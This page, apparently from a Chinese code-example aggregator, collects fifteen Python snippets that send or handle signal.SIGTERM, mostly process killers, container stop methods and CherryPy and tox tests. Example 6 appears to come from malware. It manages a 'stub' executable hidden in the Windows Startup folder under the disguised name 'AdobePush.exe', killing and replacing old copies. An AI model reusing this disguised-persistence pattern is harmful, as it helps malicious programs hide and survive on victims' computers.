本文整理汇总了Python中signal.SIGTERM属性的典型用法代码示例。如果您正苦于以下问题:Python signal.SIGTERM属性的具体用法?Python signal.SIGTERM怎么用?Python signal.SIGTERM使用的例子?那么恭喜您, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在类signal
的用法示例。
在下文中一共展示了signal.SIGTERM属性的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: kill
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def kill(name, sig=signal.SIGTERM):
"""Send a signal to job ``name`` via :func:`os.kill`.
.. versionadded:: 1.29
Args:
name (str): Name of the job
sig (int, optional): Signal to send (default: SIGTERM)
Returns:
bool: `False` if job isn't running, `True` if signal was sent.
"""
pid = _job_pid(name)
if pid is None:
return False
os.kill(pid, sig)
return True
示例2: test_SIGTERM
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def test_SIGTERM(self):
'SIGTERM should shut down the server whether daemonized or not.'
self._require_signal_and_kill('SIGTERM')
# Spawn a normal, undaemonized process.
p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'))
p.write_conf(
extra='test_case_name: "test_SIGTERM"')
p.start(imports='cherrypy.test._test_states_demo')
# Send a SIGTERM
os.kill(p.get_pid(), signal.SIGTERM)
# This might hang if things aren't working right, but meh.
p.join()
if os.name in ['posix']:
# Spawn a daemonized process and test again.
p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'),
wait=True, daemonize=True)
p.write_conf(
extra='test_case_name: "test_SIGTERM_2"')
p.start(imports='cherrypy.test._test_states_demo')
# Send a SIGTERM
os.kill(p.get_pid(), signal.SIGTERM)
# This might hang if things aren't working right, but meh.
p.join()
示例3: process_exist
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def process_exist(process_name):
"""
Detect if process exist/ running and kill it.
:param process_name: process name to check
:return: True if processis killed else False
"""
if platform.system() == 'Windows':
import signal
import wmi
c = wmi.WMI()
for process in c.Win32_Process():
if process_name in process.Name:
log(process_name + ' exist...')
log(str(process.ProcessId) + ' ' + str(process.Name))
log("Having Windows explorer won't allow dd.exe to write ISO image properly."
"\nKilling the process..")
try:
os.kill(process.ProcessId, signal.SIGTERM)
return True
except:
log('Unable to kill process ' + str(process.ProcessId))
return False
示例4: kill
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def kill(self, signal_=signal.SIGTERM, wait=25):
"""Send signal to all containers in pod.
default signal is signal.SIGTERM.
wait n of seconds, 0 waits forever.
"""
with self._client() as podman:
podman.KillPod(self._ident, signal_)
timeout = time.time() + wait
while True:
# pylint: disable=maybe-no-member
self._refresh(podman)
running = FoldedString(self.status)
if running != 'running':
break
if wait and timeout < time.time():
raise TimeoutError()
time.sleep(0.5)
return self
示例5: kill
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def kill(self, sig=signal.SIGTERM, wait=25):
"""Send signal to container.
default signal is signal.SIGTERM.
wait n of seconds, 0 waits forever.
"""
with self._client() as podman:
podman.KillContainer(self._id, sig)
timeout = time.time() + wait
while True:
self._refresh(podman)
if self.status != 'running': # pylint: disable=no-member
return self
if wait and timeout < time.time():
raise TimeoutError()
time.sleep(0.5)
示例6: deleteoldstub
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def deleteoldstub():
checkfilename = 'AdobePush.exe' #The exe in the startup will be saved by the name of AdobePush. When the exe will be updated the old exe will be deleted.
checkdir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
dircontent = os.listdir(checkdir)
try:
try:
pids = getpid('AdobePush.exe')
for id in pids:
os.kill(int(id), signal.SIGTERM)
except Exception as e:
print e
if checkfilename in dircontent:
os.remove(checkdir + checkfilename)
except Exception as e:
print e
#Function to copy the exe to startup
示例7: exitus
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def exitus(self, status=0, message="end"):
"""
Called when the program should be exit
@param status:
the exit status program returns to callert
@param message:
the message logged before exit
"""
# pylint: disable=global-statement
global SCRIPTNAME
global SCRIPTPID
global VER
# pylint: enable=global-statement
if message is not None:
log(1, message)
log(0, '{}[{}] v{} end'.format(SCRIPTNAME, SCRIPTPID, VER))
if status in (signal.SIGINT, signal.SIGTERM):
status = 0
sys.exit(status)
示例8: test_invocation_error
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def test_invocation_error(exit_code, os_name, mocker, monkeypatch):
monkeypatch.setattr(os, "name", value=os_name)
mocker.spy(tox.exception, "exit_code_str")
result = str(tox.exception.InvocationError("<command>", exit_code=exit_code))
# check that mocker works, because it will be our only test in
# test_z_cmdline.py::test_exit_code needs the mocker.spy above
assert tox.exception.exit_code_str.call_count == 1
call_args = tox.exception.exit_code_str.call_args
assert call_args == mocker.call("InvocationError", "<command>", exit_code)
if exit_code is None:
assert "(exited with code" not in result
elif exit_code == -15:
assert "(exited with code -15 (SIGTERM))" in result
else:
assert "(exited with code {})".format(exit_code) in result
note = "Note: this might indicate a fatal error signal"
if (os_name == "posix") and (exit_code == 128 + signal.SIGTERM):
assert note in result
assert "({} - 128 = {}: SIGTERM)".format(exit_code, signal.SIGTERM) in result
else:
assert note not in result
示例9: stop
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def stop(self):
"""
Stop the shell
"""
if self.is_running():
try:
os.kill(self._shell_pid, signal.SIGTERM)
except OSError:
pass
start = time.time()
while self.is_running() and (time.time() < (start + 0.2)):
time.sleep(0.05)
if self.is_running():
utils.ConsoleLogger.log("Failed to stop shell process")
else:
utils.ConsoleLogger.log("Shell process stopped")
示例10: stopChild
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def stopChild(self):
logging.debug("Terminate child...")
if self.p is not None:
self.p.terminate()
logging.debug("Kill server: " + str(self.serverPid))
if self.serverPid is not None:
try:
os.kill(self.serverPid, signal.SIGTERM)
os.kill(self.serverPid, signal.SIGKILL)
except Exception as e:
logging.error("Kill exception, but child should be alive: " + str(e))
self.p = None
self.serverPid = None
########################
示例11: run
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def run(self):
self.allow_reuse_address = True
self.daemon_threads = True
try:
SocketServer.TCPServer.__init__(
self, (self.ip or '', self.port), StreamRequestHandler)
except socket.error:
logger.critical(
'The streaming server could not bind to your specified port '
'({port}). Perhaps this is already in use? The application '
'cannot work properly!'.format(port=self.port))
sys.exit(1)
signal.signal(signal.SIGTERM, self.shutdown)
if self.proc_title:
setproctitle.setproctitle(self.proc_title)
self.serve_forever()
示例12: test_shutdown
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def test_shutdown(self):
res = []
@teardown()
def _worker_teardown(num):
res.append("BYE WORKER")
@global_teardown()
def _teardown():
res.append("BYE")
@scenario(weight=100)
async def test_two(session):
os.kill(os.getpid(), signal.SIGTERM)
args = self.get_args()
results = Runner(args)()
self.assertEqual(results["OK"], 1)
self.assertEqual(results["FAILED"], 0)
self.assertEqual(res, ["BYE WORKER", "BYE"])
示例13: test_shutdown_exception
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def test_shutdown_exception(self):
@teardown()
def _worker_teardown(num):
raise Exception("bleh")
@global_teardown()
def _teardown():
raise Exception("bleh")
@scenario(weight=100)
async def test_two(session):
os.kill(os.getpid(), signal.SIGTERM)
args = self.get_args()
results = Runner(args)()
self.assertEqual(results["OK"], 1)
示例14: unsub_sig
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def unsub_sig():
cherrypy.log('unsubsig: %s' % cherrypy.config.get('unsubsig', False))
if cherrypy.config.get('unsubsig', False):
cherrypy.log('Unsubscribing the default cherrypy signal handler')
cherrypy.engine.signal_handler.unsubscribe()
try:
from signal import signal, SIGTERM
except ImportError:
pass
else:
def old_term_handler(signum=None, frame=None):
cherrypy.log('I am an old SIGTERM handler.')
sys.exit(0)
cherrypy.log('Subscribing the new one.')
signal(SIGTERM, old_term_handler)
示例15: test_signal_handler_unsubscribe
# 需要导入模块: import signal [as 别名]
# 或者: from signal import SIGTERM [as 别名]
def test_signal_handler_unsubscribe(self):
self._require_signal_and_kill('SIGTERM')
# Although Windows has `os.kill` and SIGTERM is defined, the
# platform does not implement signals and sending SIGTERM
# will result in a forced termination of the process.
# Therefore, this test is not suitable for Windows.
if os.name == 'nt':
self.skip('SIGTERM not available')
# Spawn a normal, undaemonized process.
p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'))
p.write_conf(
extra="""unsubsig: True
test_case_name: "test_signal_handler_unsubscribe"
""")
p.start(imports='cherrypy.test._test_states_demo')
# Ask the process to quit
os.kill(p.get_pid(), signal.SIGTERM)
# This might hang if things aren't working right, but meh.
p.join()
# Assert the old handler ran.
log_lines = list(open(p.error_log, 'rb'))
assert any(
line.endswith(b'I am an old SIGTERM handler.\n')
for line in log_lines
)